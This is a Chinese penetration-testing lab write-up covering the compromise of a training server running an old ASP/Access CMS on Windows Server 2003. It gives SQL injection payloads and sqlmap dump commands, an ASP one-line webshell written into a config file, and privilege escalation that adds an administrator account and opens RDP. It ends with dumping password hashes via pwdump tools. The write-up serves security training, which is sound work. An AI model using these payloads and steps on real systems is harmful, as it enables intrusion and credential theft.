【i春秋】渗透测试入门 —— 我很简单,请不要欺负我

0x00 前言

本实验是一次非常深入彻底的模拟渗透,虽然只针对一台服务器,但却经历了从最初的获取网站管理员账号密码,到获得网站的 webshell,最后到通过提权获得服务器系统最高权限的完整渗透过程。

从实验手册上给出的工具提示也能看出,本次渗透会用到目录扫描工具、注入工具、getshell 工具、提权工具等,可谓干货满满。若各位能亲自动手尝试所有能用到的工具,把整个渗透流程实现一遍,所有知识点都想明白,对初学者而言绝对有丰富的收获与极大的提升。

先简单介绍一下靶机环境:主站为魅力企业网站管理系统,采用 ASP 后端脚本语言,以及 Microsoft Office Access 数据库,该 CMS 年久失修,遍地漏洞,连官网也消失殆尽,不过还是能从各大软件平台下载到源码;服务器系统为 Windows Server 2003 Enterprise Edition,如果没打好补丁,此系统也是千疮百孔。总结一下,即典型的 Windows + IIS + ASP + Access 网站服务器出装。

guide

特此声明:由于本实验题目中包含 2 道选择题,因此不再沿用先前以题目名称作为章节标题的做法,而按照渗透流程的重要步骤来命名。

0x01 简单聊聊 WVS

首先来看看第 1 道选择题:「WVS是什么工具?」,感觉问的很突兀,因为在本次渗透中 WVS 不是必要工具,也没有带来实质性的帮助,如果是我打开方式不对,还请指出。

AWVS(Acunetix Web Vulnarability Scanner),简称 WVS,是国外安全公司 Acunetix 的主打产品,一款自动化 Web 应用程序安全测试工具,用于快速扫描 Web 应用常见漏洞、爬取网站目录结构、提供多种实用工具等。虽然这是一款需要付费的商业软件,但在国内还是可以找到破解版的。

既然环境里提供了 WVS 工具,省去了我们下载安装的麻烦,那事不宜迟,先来体验一番。打开实验工具箱,在【目录扫描】文件夹中打开【AWVS】,即可看见我们的工具了:

acunetix

本节只演示 WVS 网站扫描的主要功能,包括目录扫描与漏洞扫描,其他功能请读者查看教程自行操作。点击 New Scan,在 Scan Type 栏的 Website URL 中填入目标站点 http://www.test.ichunqiu/,一直默认点击 Next 到最后的 Finish 栏,把 CASE insensitive crawling 前的钩去掉(因为服务器系统是 Windows,所有不需要大小写敏感,而 Linux 系统则需要),点击 Finish 完成。

等待一段时间,扫描完毕后,在界面中看到目录扫描与漏洞扫描的结果:

acunetix-result

不过可惜的是,后台登录页面都没被抓取出来,所以前面我才说没有提供实质性的帮助,此处权当 WVS 工具的使用练习。回到题目,有如下 4 个选项,从 WVS 的全称不难看出,把它作为 漏洞扫描工具 更为合适:

  • 注入工具
  • 漏洞扫描工具
  • 目录扫描工具
  • 暴力破解工具

0x02 SQL 注入获取管理员账号密码

聊完了 WVS,下面随着第 2 题「管理员的密码是什么?」正式进入渗透流程。首当其冲必然是魅力企业网站管理系统,不过网上有关该系统的漏洞报告很少,难以找到有效资料。此时不要着急,先回想一下前面几次渗透实验,获取管理员账号密码的方法不外乎敏感信息泄露、SQL 报错注入返回敏感信息、自动化注入工具直接读取数据库等,因此思路很明确:寻找网页中存在的注入点

SQL 注入点的类型

在寻找 SQL 注入点之前,先科普一下注入点的类型。根据注入点输入数据的类型,可分为数字型注入与字符型注入,下面分别讲解这两种 SQL 注入的特点与区别。

小贴士:SQL 语句的单行注释一般有 --#,在验证 SQL 注入点时,要习惯性地在查询语句末尾加上注释符,并且注释符后最好加上一个空格,避免代码中后续 SQL 语句的干扰。

数字型 SQL 注入

当注入点的输入参数为数字时,则称之为数字型 SQL 注入,例如 idageorderpage 等参数。下面以主站中输入参数为数字型的页面 http://www.test.ichunqiu/shownews.asp?id=1 为例进行讲解。注意,在本次渗透环境中的 Access 数据库,只支持 # 注释符,读者可自行验证。

要判断 ID=1 是否为数字型 SQL 注入点,一般通过以下三步:

(1)http://www.test.ichunqiu/shownews.asp?id=1'#

由于数字参数在后台 SQL 语句中不需要引号闭合,如果在数字后插入一个英文单引号 ',会导致 SQL 语句闭合错误,页面出现异常。

(2)http://www.test.ichunqiu/shownews.asp?id=1 AND 1=1#

SQL 语句中限制条件为 WHERE id=1 AND 1=1# ,相当于 WHERE id=1# ,此时页面应该显示正常,与原请求无任何差异。

(3)http://www.test.ichunqiu/shownews.asp?id=1 AND 1=2#

SQL 语句中限制条件为 WHERE id=1 AND 1=2# ,相当于 WHERE 1=2# ,即限定条件恒为假,此时页面应该显示异常,查询不出任何内容。

因此,经过以上三个步骤,即可判断 http://www.test.ichunqiu/shownews.asp?id=1 存在数字型 SQL 注入。

字符型 SQL 注入

当注入点的输入参数为字符串时,则称之为数字型 SQL 注入,例如 usernamepasswordtitleclass 等参数。下面以主站中输入参数为字符型的页面 http://www.test.ichunqiu/Aboutus.asp?Title=%B9%AB%CB%BE%BC%F2%BD%E9 为例进行讲解。

字符型与数字型 SQL 注入最大区别在于:数字型不需要引号闭合,而字符型需要。可见,字符型 SQL 注入最关键的是如何闭合 SQL 语句,代码中的 SQL 语句一般采用单引号,但也别忘了双引号的可能。

要判断 Title=%B9%AB%CB%BE%BC%F2%BD%E9 是否为字符型 SQL 注入点,一般通过以下两步:

(1)http://www.test.ichunqiu/Aboutus.asp?Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND 1=1#

此时页面应该显示正常,但在测试中却出现异常,无法显示。

(2)http://www.test.ichunqiu/Aboutus.asp?Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND 1=2#

此时页面应该显示异常,而测试的异常结果也与(1)中情况类似。

因此,经过以上两个步骤,即可判断 http://www.test.ichunqiu/Aboutus.asp?Title=%B9%AB%CB%BE%BC%F2%BD%E9 不存在字符型 SQL 注入。

至于不存在字符型 SQL 注入的原因,我们可以深入地分析一下。当 Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND '1'='1Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND '1'='1# 时,页面是能够正常显示的,但 Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND '1'='1'# 却不行,所以注释符 # 此处被过滤了。

小结一下以上手工查找 SQL 注入点的过程:

  • 是否能用注释符屏蔽后续 SQL 语句的干扰,是 SQL 注入点可用性的重要因素。
  • 对于字符型 SQL 注入,还要注意引号的闭合。
  • 上述网站中,数字型 SQL 注入没有过滤注释符 #,而字符型过滤了。

最后粗略地统计网站中可用的数字型 SQL 注入点:

  • http://www.test.ichunqiu/shownews.asp?id=1
  • http://www.test.ichunqiu/ProductShow.asp?ID=9
  • http://www.test.ichunqiu/DownloadShow.asp?ID=9
  • http://www.test.ichunqiu/CompHonorBig.asp?id=11
  • http://www.test.ichunqiu/CompVisualizeBig.asp?id=10

SQL 自动化注入

既然知道了注入点,下面正式开始通过注入来获取管理员账号密码。一般而言,使用 SQL 自动化注入工具是读取数据库信息最高效的方法,极少数特别的注入点需要临时定制 payload 进行手工注入,因此熟悉多种注入工具是一名合格渗透工程师的基本要求。

国内外的 SQL 自动化注入工具种类繁多,下面将以明小子(Domian)、穿山甲(Pangolin)、SQLMap 等工具为例进行演示。以上工具均在实验工具箱中的【注入工具】文件夹下。

小贴士:一般的 SQL 自动化注入工具都带有判断注入点的功能,如果无法确定某参数是否存在注入,使用多款工具可以帮助你有效判断。

明小子(Domian)

明小子(Domian)是国内的一款 Web 应用程序综合渗透工具,有可视化图形界面,简单易用,在国内安全圈极负盛名。

打开工具,依次点击 SQL注入 -> 批量扫描注入点 -> 添加网址,填入主站 URL http://www.test/ichunqiu/,保存后点击 批量分析注入点

domain-info

分析完毕后,右击其中一个注入点,点击 检测注入

domain-injectable

点击后会自动跳转至 SQL注入猜解检测 选项卡,不过这里不用检测出来的注入点,用我们手工发现的注入点,一来换换口味,二来获得点成就感,三来顺便验证手工发现的注入点是否可靠。下面将 注入点 改为 http://www.test.ichunqiu/shownews.asp?id=1,点击 开始检测,结果确实为一个可用注入点:

domain-verification

确认可注入后,点击 猜解表名 后得到 4 张表,接着选中 admin 表,点击 猜解列名 后得到 3 个列名,在所有列名前打上钩,点解 猜解内容 后即可得到管理员的账号为 admin,16 位的密码哈希值为 469e80d32c0559f8。至此,通过明小子工具成功地获取了管理员的账号密码。

domain-result

穿山甲(Pangolin)

穿山甲(Pangolin)是深圳宇造诺赛科技有限公司(Nosec)多年前开发的一款 SQL 注入测试工具,如今时过境迁,官方网址不再提供工具的相关信息,而成为了北京白帽汇科技有限公司旗下的一款名为 NOSEC 的大数据安全协作平台。尽管穿山甲工具已停止开发维护,但对付传统数据库依然绰绰有余。

打开工具,在 URL 处填入注入点 http://www.test.ichunqiu/shownews.asp?id=1(注意:该工具不提供注入点扫描,只判断输入参数是否能作为注入点),点击 开始 箭头后,得到以下结果,说明注入点有效:

pangolin-info

切换到 Datas 选项卡,点击 Tables 后得到 4 张表,接着选中 admin 表(注意不是打钩),点击 Columns 后得到 4 个列名,此时才在 admin 前打钩,选中所有列,点击 Datas 后即可获得管理员账号密码。可见,穿山甲工具的使用流程与明小子非常类似。

pangolin-result

SQLMap

SQLMap 是一款专注于自动化 SQL 注入检测的开源渗透工具,用 Python 脚本语言编写,能在装有 Python 2.6.x 与 Python 2.7.x 的系统上跨平台运行,支持对数十种常见数据库的检测,被誉为 SQL 注入领域的一大渗透神器。

由于 SQLMap 只支持命令行界面,其易用性不如前两者,但丝毫不影响其渗透威力,反而还拥有更高的检测效率与更广的检测范围。SQLMap 作为渗透工程师常用且必备的工具,应当重点掌握。下面将列出渗透过程中常用的命令及用法,建议同时参考官方文档

(1)python sqlmap.py -h:查询帮助手册。
(2)python sqlmap.py -u <URL>:检测该 URL 是否存在注入(末尾记得写上查询参数)。
(3)python sqlmap.py -u <URL> --dbs:查询所有数据库名。
(4)python sqlmap.py -u <URL> --current-db:查询当前数据库名。
(5)python sqlmap.py -u <URL> -D <database> --tables:查询某数据库中的所有表名。
(6)python sqlmap.py -u <URL> -D <database> -T <table> --columns:查询某数据表中的所有列名。
(7)python sqlmap.py -u <URL> -D <database> -T <table> -C <column> --dump:查询某列中的所有数据。

以上是通过 GET 方式来检测注入点,并进行 SQL 注入读取数据库中数据的常规套路。注意一个特例:由于 Microsoft Access 数据库结构特殊,注入时不必通过(3)或(4)来查询数据库名,直接从(5)开始查询表名即可,-D 选项也可省去。

小贴士:为了避免在命令行界面输入中文进入【SQLMap】目录,因此使用前建议将【SQLMap】文件夹拷贝到 C 盘下。

确保了命令行路径在【SQLMap】目录下后,根据(2)输入命令 python sqlmap.py -u http://www.test.ichunqiu/shownews.asp?id=1 ,若询问「已确认 id 参数可注入,还需检测其他参数?」填 N,结果显示此为基于布尔的盲注(boolean-based blind),并且返回了一些服务器相关信息,如:服务器操作系统为 Windows 2003 或 Windows XP,Web 应用程序采用了 APS.NET、Microsoft IIS 6.0、ASP 等建站技术,后端数据库数理系统为 Microsoft Access。以上对服务器相关信息的收集有助于后续更高效精准的渗透。

sqlmap-info

知道了后端数据库是 Microsoft Access 后,可以跳过(3)或(4)直接进行(5),输入命令 python sqlmap.py -u http://www.test.ichunqiu/shownews.asp?id=1 --tables,若询问「需要检测常用表名是否存在?」填 Y,询问「需要的线程数量?」填最大值 10。检测将近一半时,按 Ctrl + C 手动终止扫描,得到了包含 admin 表在内的 6 张表。注意:由于 SQLMap 扫描所用的字典范围更广,因此比起前两者能发现更多的数据表。

小贴士:由于扫描花时较长,当看到 admin 表出现时,可按 Ctrl + C 手动停止扫描。

sqlmap-tables

继续执行(6)中的命令,输入 python sqlmap.py -u http://www.test.ichunqiu/shownews.asp?id=1 -T admin --columns,若询问「需要检测常用列名是否存在?」填 Y,询问「需要的线程数量?」填最大值 10。本次扫描不手动终止,等待其全部扫描完毕,得到了 usernamepassword 等 6 个字段。

sqlmap-columns

最后执行(7)中的命令,输入 python sqlmap.py -u http://www.test.ichunqiu/shownews.asp?id=1 -T admin -C username,password --dump,等待其枚举完毕,若询问「需要临时保存结果的哈希值?」填 N,询问「需要用字典攻击来破解结果?」填 n,随即可看到管理员的账号密码等数据。

sqlmap-result

SQL 手工注入

除了会使用 SQL 自动化注入工具,手工注入也应该是渗透工程师的基本技能之一。下面仍旧针对上述注入点,演示手工注入获取 Access 数据库内容的全过程。详细指导可参考:

asp+access sql手工注入步骤
access手工注入

Step 1:猜解表名

在火狐浏览器打开存在注入点的页面,将 URL 改为 http://www.test.ichunqiu/shownews.asp?id=1 AND EXISTS(SELECT * FROM <table>),其中 <table> 为待猜解的表名,如果表名存在,页面将显示正常,否则出现异常。注意:如果管理员把库名、表名、列名更改得随机复杂,手工注入将变得非常困难。

打开 HackBar 工具,我们对 adminusernews 等常见表名进行猜解,发现均能正常显示:

manual-tables

Step 2:猜解列数

已知 admin 表存在后,接着猜解当前未知表的列数,用于后续的联合查询(UNION SELECT),因为联合查询的必要条件是每个查询的列数需要严格相等

猜解列数最便捷的方法是利用 ORDER BY 语句的隐藏用法。一般来说,ORDER BY <column> 代表对 <column> 列进行升排序,而 ORDER BY <column_order> 代表对第 <column_order> 列进行升排序。容易看出,<column_order> 的最大取值即为查询数据的列数,因此,当发现 ORDER BY n 显示正常,并且 ORDER BY n+1 出现异常时,可判断当前查询数据的列数为 n。

注意,只有在后端数据库的查询语句为 SELECT * FROM admin 时,当前查询数据的列数 n 才等于数据库 admin 的总列数。详情可参考:sql注入之order by猜列数问题

经过反复尝试,可以确定查询数据的列数为 11:

manual-num-true

manual-num-false

Step 3:找出显位点

下面要构造联合查询 UNION SELECT 1,2,...,n FROM <table> 找出显位点,其中列数为 n,表名为 <table>

小贴士:查询结果中的某些数据会出现在当前页面,而这些数据对应的列称为显位点

经过反复试验,得知该数据库是从查询结果的第 1 列数据开始升排序(若第 1 列相等,则比较第 2 列,以此类推),并且将第 1 行结果的部分数据在页面上展示。因此上述联合查询能有效执行,并发现了显位点为第 2、3、7、8、9 列:

manual-points

若想完全避免前一次查询结果的影响,可将限制条件 id=1 改为 id=1 AND 1=2

Step 4:猜解列名

最后一步,就是用猜想的列名去替换显位点,如果猜想正确,则页面会显示数据内容,否则出现异常。我们对 userusernameaccountpwdpasswordkeycredit 等常见列名进行猜解,终于在 usernamepassword 两列中读取到管理员的账号密码:

manual-result

敏感信息泄露

在本节末尾留个小彩蛋,细心的读者可能在上述注入点的页面底部发现了:

leak

对的,你想的没错,管理员的 16 位密码哈希值,用 MD5解密工具 解密后的明文结果正是 admin888

password

0x03 获取后台登录地址

根据实验手册的提示,在实验工具箱的【目录扫描】->【御剑后台扫描工具】文件夹下打开工具,在 域名 处填上主站 URL http://www.test.ichunqiu/,点击 开始扫描 即可轻松获取后台登录地址 /admin/login.asp

yujian-scan

上节提到的明小子(Domain)注入工具也带有目录扫描功能,点击 SQL注入 -> 管理入口扫描 选项卡,在 注入点 处填上主站 URL,点击 扫描后台地址 同样能得到后台登录地址:

domain-scan

小贴士:通过这几次渗透实验可发现,大多 CMS 的默认后台登录地址为 /admin,因此在使用目录扫描工具前可先行尝试。

0x04 配置文件写入木马获取 webshell

第 2 题过后,随之而来的第 3 题又是一道选择题:「通过什么方式获得 webshell?」,这也同时是对接下来渗透的提示。

先用管理员账号 admin 与密码 admin888 登录后台:

login-back

根据题目的提示,寻找后台备份文件、文件上传处、内容填写框等能够插入木马的漏洞,但可惜的是,很快能发现备份文件无效、文件上传无反应、大多文本框不能填写,看来服务器限制了该账户的写入权限。

只剩下写入配置文件了,并在 系统设置管理 -> 网站信息配置 发现了配置文件更改处。问题又来了,写入木马的配置文件在哪读取?于是先在外网搜索到 CMS 的源码,在此目录中搜索 conf 等关键字,发现了 4 个目标文件:

search-config

经过逐一排查,最终确定其中的 /inc/Config.asp 与网站配置信息相关:

inc-config

接下来尝试在任意一栏中写入 ASP 版的一句话木马 "%><%Eval Request("cmd")%><%'注意:"%> 是为了闭合前段 ASP 代码;cmd 是木马的请求参数;<%' 是为了开启后段 ASP 代码,并用单引号注释该行剩下的代码。写入木马前,最好把栏中原有的配置信息删除,即可直观地判断是否写入成功。

网站标题 一栏为例,写入一句话木马:

trojan-writing

写入后点击 保存设置,可见写入木马后该栏为空:

trojan-written

然后在工具箱【webshell】目录下拔出中国菜刀,在 添加SHELL 中填入目标 URL 与请求参数后保存:

chopper-trojan

双击 shell 记录,成功连接网站的文件管理系统:

chopper-file-manager

最后回到题目,根据选项提示,成功验证了能够通过 写入配置文件 获得 webshell:

  • 后台备份文件
  • 直接上传木马
  • 代码执行
  • 写配置文件

0x05 上传工具,系统提权

终于到达最后一关:「获取目标服务器密码」,这需要破解操作系统上用户的密码哈希值,倒推一下思路:获得服务器系统最高权限 -> 上传提权工具 -> 寻找上传点,赶紧动手开始吧!

怎么确定上传点呢?具有写权限的目录都可以作为上传点,在 C 盘下的每个目录尝试上传,发现 C:\InetpubC:\RECYCLERC:\wmpub 三个目录具有写权限,其他目录均写入失败。下面演示以 C:\wmpub 作为上传点。

系统提权将利用 CVE-2009-0079 漏洞,采取 cmd.exe + Churrasco.exe + 3389.bat 的工具组合,其中 cmd.exe 是为了代替原服务器中权限受限的命令行交互环境,Churrasco.exe 是用于提权的漏洞利用工具,3389.bat 是打开 3389 端口及远程桌面服务的批处理脚本文件。

小贴士:CVE-2009-0079 是 Microsoft Windows RPCSS 服务隔离的本地权限提升漏洞,收录于 Microsoft 安全公告 MS09-012,影响 Microsoft Windows Server 2003 SP2 等多个系统版本。

Churrasco.exe 提权

Churrasco.exe,又称「巴西烤肉」,是 CVE-2009-0079 漏洞的常见利用工具,能够以 SYSTEM 权限执行命令,从而可以达到添加用户的目的。

首先将工具箱【提权工具】->【windows】目录中的三款工具,在菜刀的文件管理页面空白处,右键点击 上传文件 至服务器 C:\wmpub 目录下,接着右击 cmd.exe,选择 虚拟终端 进入到命令行交互界面:

chopper-upload

输入 systeminfo 命令,获取服务器系统相关信息,得知系统为 Microsoft Windows Server 2003 Enterprise Edition SP2,且只安装了一个补丁程序,即可猜测该系统存在 CVE-2009-0079 漏洞:

systeminfo

接着切换到 C:\wmpub 目录,输入 churrasco "net user ichunqiu key /add" 命令,添加一个名为 ichunqiu、密码为 key 的用户:

churrasco-user

再输入 churrasco "net localgroup administrators ichunqiu /add"命令,将 ichunqiu 用户添加到 administrators 用户组:

churrasco-localgroup

小贴士:可通过 net usernet localgroup administrators 查看命令是否执行成功。

最后输入 churrasco 3389 命令,打开 3389 端口及远程桌面服务:

churrasco-3389

确认提权成功后,在本机上点击 开始 -> 运行,输入 mstsc,远程计算机地址为 172.16.12.2(在实验场景拓扑图上可见):

mstsc

正常的话会弹出远程桌面,输入用户名 ichunqiu 与密码 key,即可成功登录远程服务器:

login-server

pr.exe 提权

pr.exe 也是 CVE-2009-0079 漏洞的提权工具,位于【提权工具】->【windows】目录下,使用方法与 Churrasco.exe 类似。不过注意的是,在第一次执行创建用户命令时,可能会报错,若创建失败,只需再次执行即可:

pr

iis.exe 提权

iis.exe 与前两者不同,是基于 CVE-2009-1535 漏洞的提权工具,位于【提权工具】->【windows】目录下(最好选用 iis6.0-local.exe,因为 iis6.exe 在打开 3389 端口时会出错),使用方法与前两者类似。在第一次创建用户时也可能会报错,若创建失败,再次执行即可:

小贴士:CVE-2009-1535 是 IIS 5.1 和 6.0 中 WebDAV 扩展的身份验证绕过漏洞,收录于 Microsoft 安全公告 MS09-020,影响 Microsoft Windows Server 2003 SP2 中 Internet Information Services 6.0 等多个系统版本。

iis

0x06 获取管理员系统密码

进入到远程主机桌面,此时可以通过 pwdump 工具 获取管理员密码的哈希值,常见的 pwdump 工具有 Pwdump7、QuarksPwDump、Cain & Abel 等,最后将哈希值通过在线解密即可获得密码明文。

小贴士:pwdump 是一类能从 Windows SAM(Security Account Manager) 中读出本地用户 LM(LAN Manager)NTLM(NT LAN Manager) 密码哈希值的工具(注意必须在管理员权限下),其中 LM 与 NTLM 是 Windows 系统下的安全认证协议,并且 NTLM 是 LM 的演进版本,安全性更高。

Pwdump7

Pwdump7Tarasco Security 发布的一款免费软件,能够从 SAM 中快速提取用户密码哈希值,易用性与有效性极佳。

使用之前,将实验工具箱【提权工具】->【hash】->【Pwdump7】文件夹下的 Pwdump7.exelibeay32.dll 两个文件通过菜刀上传至服务器 C:\wmpub 目录,再回到远程主机桌面点击【开始】 -> 【我的电脑】,进入上传点打开 cmd.exe,直接输入 pwdump7 命令即可获得所有用户的密码哈希值,其中 62C4700EBB05958F3832C92FC614B7D1 是 LM 哈希,4D478675344541AACCF6CF33E1DD9D85 是 NTLM 哈希:

pwdump7

QuarksPwDump

QuarksPwDumpQuarkslab 发布的一款开源工具,能导出 Windows 下各种类型的用户凭证,它自身有专属的命令交互界面,可输入不同的命令选项获得所需数据。

使用前,同样先将【提权工具】->【hash】->【QuarksPwDump_v0.1】文件夹下的 QuarksPwDump.exe 上传至服务器 C:\wmpub 目录,在远程主机上传点打开 cmd.exe,直接输入 quarkspwdump 命令:

quarkspwdump-cmd

命令成功执行后,进入到 QuarksPwDump.exe 命令交互界面,再输入 quarkspwdump --dump-hash-local 命令:

小贴士:对命令选项熟悉后,可直接在 cmd 命令交互界面中输入 quarkspwdump --dump-hash-local 命令。

quarkspwdump-input

界面刷新,并导出本地用户的密码哈希值:

quarkspwdump-result

Cain & Abel

Cain & Abeloxid.it 发布的一款综合网络渗透工具,在密码恢复、暴力破解、网络嗅探、路由协议分析等场景有广泛应用。

使用前,先把【arp嗅探】->【Cain】文件夹下的 ca_setup_53494.exe 安装包上传至服务器 C:\wmpub 目录进行安装,并且安装完 Cain & Abel 后,必须同时安装后续的 WinPcap,否则功能缺失出现报错:

小贴士:比起前两款工具,Cain & Abel 使用前需要安装,并且操作步骤相对繁琐,增大了在目标系统留下痕迹的可能,因此建议在满足需求的情况下,尽量选用小巧便捷的工具。

cain-install

全部安装完毕后点击桌面上的 Cain,在 Cracker 选项卡下选中 LM & NTLM Hashes,点击 Add to list(即蓝色加号),勾选上 Include Password History Hashes

cain-config

点击 Next 后即能获取到所有本地用户的密码哈希值:

cain-result

Online Hash Crack

在线破解哈希值推荐一个瑞士网站 Objectif Sécurité ,无需注册付费,便捷实用。

在主页点击 OPHCRACK 选项卡,将 NTLM 哈希 4D478675344541AACCF6CF33E1DD9D85 填入第一个文本框,点击 GO 解密后,即得管理员系统密码的明文 cu9e2cgw

objectif

0x07 小结

本篇 writeup 借此深入彻底的渗透模拟实验,总结了渗透过程中信息收集、SQL 注入、插入木马、获取 webshell、权限提升、获取系统用户密码等用到的数十种工具与分析方法,希望有助于各位读者对渗透测试全过程的理解,在动手实践之后能更熟练地掌握工具。

笔者水平有限,在边学习实践边分析思考的情况下总结出以上心得,不足之处望各位指出,有独特思路的欢迎交流。最后向以下三篇参考 writeup 的作者致以真诚的感谢,前辈们的努力促使了国内安全技术的蓬勃发展!

01-在线挑战详细攻略-《我很简单,请不要欺负我》
ichunqiu在线挑战–我很简单,请不要欺负我 writeup
《我很简单,请不要欺负我》实验攻略